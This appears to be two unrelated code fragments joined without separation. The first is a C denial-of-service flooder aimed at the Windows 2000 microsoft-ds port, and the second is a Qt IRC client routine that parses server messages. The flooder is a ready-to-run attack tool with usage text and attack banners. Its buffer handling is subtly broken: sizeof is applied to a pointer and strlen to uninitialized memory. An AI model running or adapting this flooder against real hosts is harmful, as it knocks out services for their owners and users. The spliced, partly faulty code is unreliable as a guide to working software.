int main(int argc, char *argv[]) { int sock; int count; struct sockaddr_in target; unsigned short port = MICROSOFT_DS_PORT; char *nullbuffer; printf("%c[41m", 0x1B); fprintf(stdout, "\n--[ excE's Remote Microsoft Windows 2000 DoS (microsoft-ds)\n"); printf("%c[0m", 0x1B); fprintf(stdout, "-----------------------------------------------------------\n"); if(argc != 4) { fprintf(stderr, "--[ Invalid number of parameters!\n"); fprintf(stderr, "--[ Usage: %s <Server IP> <TCP/UDP> <Send Count>\n", argv[0]); fprintf(stderr, "--[ Forex: %s 127.0.0.1 UDP 10000\n\n", argv[0]); exit(-1); } nullbuffer = (char *) malloc(10*1024*sizeof(char)); bzero(nullbuffer,sizeof(nullbuffer)); fprintf(stdout, "--[ Starting attack on %s...\n", argv[1]); memset(&target, 0, sizeof(target)); target.sin_family = AF_INET; target.sin_addr.s_addr = resolveTarget(argv[1]); target.sin_port = htons(port); if(argv[2][0] == 'U') { if((sock = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) { perror("socket() failed "); exit(-1); } fprintf(stdout, "--[ Sending NULL byte string * %d via UDP\n", atoi(argv[3])); for(count=0;count<atoi(argv[3]);count++) { if(sendto(sock, nullbuffer, strlen(nullbuffer), 0, (struct sockaddr *) &target, sizeof(target)) != strlen(nullbuffer)) { perror("sendto() failed "); exit(-1); } else { printf("."); } } close(sock); printf("\n"); } else if(argv[2][0] == 'T') { fprintf(stdout, "--[ Connecting and sending NULL byte string * %d...\n", atoi(argv[3])); if((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { perror("socket() failed "); exit(-1); } if(connect(sock, (struct sockaddr *) &target, sizeof(target)) < 0) { perror("connect() failed "); exit(-1); } for(count=0;count<atoi(argv[3]);count++) { if(send(sock, nullbuffer, strlen(nullbuffer), 0) != strlen(nullbuffer)) { perror("send() failed "); exit(-1); } else { printf("."); } } close(sock); printf("\n"); } else { fprintf(stderr, "--[ Error: You must define a protocol (TCP or UDP)\n\n"); exit(-1); } fprintf(stdout, "--[ Finished flooding target!\n"); fprintf(stdout, "--[ http://www.telhack.tk\n"); return 0; }
void SessionPrivate::processLine(const QByteArray& line) { Q_Q(Session); QString process = readString(line); QString prefix, command; QStringList params; // From RFC 1459: // <message> ::= [':' <prefix> <SPACE> ] <command> <params> <crlf> // <prefix> ::= <servername> | <nick> [ '!' <user> ] [ '@' <host> ] // <command> ::= <letter> { <letter> } | <number> <number> <number> // <SPACE> ::= ' ' { ' ' } // <params> ::= <SPACE> [ ':' <trailing> | <middle> <params> ] // <middle> ::= <Any *non-empty* sequence of octets not including SPACE // or NUL or CR or LF, the first of which may not be ':'> // <trailing> ::= <Any, possibly *empty*, sequence of octets not including // NUL or CR or LF> // parse <prefix> if (process.startsWith(QLatin1Char(':'))) { prefix = process.mid(1, process.indexOf(QLatin1Char(' ')) - 1); process.remove(0, prefix.length() + 2); if (options & Session::StripNicks) { int index = prefix.indexOf(QRegExp(QLatin1String("[@!]"))); if (index != -1) prefix.truncate(index); } } // parse <command> command = process.mid(0, process.indexOf(QLatin1Char(' '))); process.remove(0, command.length() + 1); bool isNumeric = false; uint code = command.toInt(&isNumeric); // parse middle/params while (!process.isEmpty()) { if (process.startsWith(QLatin1Char(':'))) { process.remove(0, 1); params << process; process.clear(); } else { QString param = process.mid(0, process.indexOf(QLatin1Char(' '))); process.remove(0, param.length() + 1); params << param; } } // handle PING/PONG if (command == QLatin1String("PING")) { QString arg = params.value(0); q->raw(QString(QLatin1String("PONG %1")).arg(arg)); return; } // and dump if (isNumeric) { switch (code) { case Irc::Rfc::RPL_WELCOME: { Q_ASSERT(defaultBuffer); defaultBuffer->d_func()->setReceiver(prefix, false); emit q->welcomed(); welcomed = true; break; } case Irc::Rfc::RPL_TOPIC: { QString topic = params.value(1); QString target = resolveTarget(QString(), topic); Buffer* buffer = createBuffer(target); buffer->d_func()->topic = topic; break; } case Irc::Rfc::RPL_NAMREPLY: { QStringList list = params; list.removeAll(QLatin1String("=")); list.removeAll(QLatin1String("@")); list.removeAll(QLatin1String("*")); QString target = resolveTarget(QString(), list.value(1)); Buffer* buffer = createBuffer(target); QStringList names = list.value(2).split(QLatin1String(" "), QString::SkipEmptyParts); foreach (const QString& name, names) buffer->d_func()->addName(name); break; } case Irc::Rfc::RPL_MOTDSTART: motd.clear(); break; case Irc::Rfc::RPL_MOTD: motd.append(params.value(1) + QLatin1Char('\n')); break; case Irc::Rfc::RPL_ENDOFMOTD: if (defaultBuffer) emit defaultBuffer->motdReceived(motd); motd.clear(); break; default: break; } if (code == Rfc::RPL_TOPICSET && options & Session::StripNicks) { QString user = params.value(2); int index = user.indexOf(QRegExp(QLatin1String("[@!]"))); if (index != -1) { user.truncate(index); params.replace(2, user); } } if (defaultBuffer) emit defaultBuffer->numericMessageReceived(prefix, code, params); // join auto-join channels after MOTD if (code == Rfc::RPL_ENDOFMOTD || code == Rfc::ERR_NOMOTD) { foreach (const QString& channel, channels) q->join(channel); } }